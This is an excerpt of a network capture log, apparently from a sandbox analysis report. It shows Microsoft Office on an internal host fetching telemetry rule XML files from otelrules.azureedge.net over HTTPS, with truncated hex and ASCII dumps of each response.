2024-12-07 07:44:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:15 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074415Z-r1cf579d778bb9vvhC1EWRs9540000000170000000004cnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:15 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074415Z-r1cf579d778zvkpnhC1EWRv23g000000020g0000000027zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:16 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074416Z-r1cf579d7788pwqzhC1EWRrpd800000002400000000006hg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074417Z-r1cf579d778v97q7hC1EWRf95c00000001f0000000000k0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074417Z-r1cf579d7784wpmvhC1EWRk4cn000000014g000000003ytm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074417Z-r1cf579d778t6txphC1EWRsd440000000240000000004e8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074417Z-r1cf579d778qgtz2hC1EWRmgks00000001fg000000004wue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:18 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074418Z-r1cf579d778dfdgnhC1EWRd3w000000001mg0000000019qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:19 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074419Z-r1cf579d778bb9vvhC1EWRs95400000001dg000000000urm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:19 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074419Z-r1cf579d7786c2tshC1EWRr1gc000000019g000000003y0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:19 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074420Z-r1cf579d778z4wflhC1EWRa3h000000001vg0000000015s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:19 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
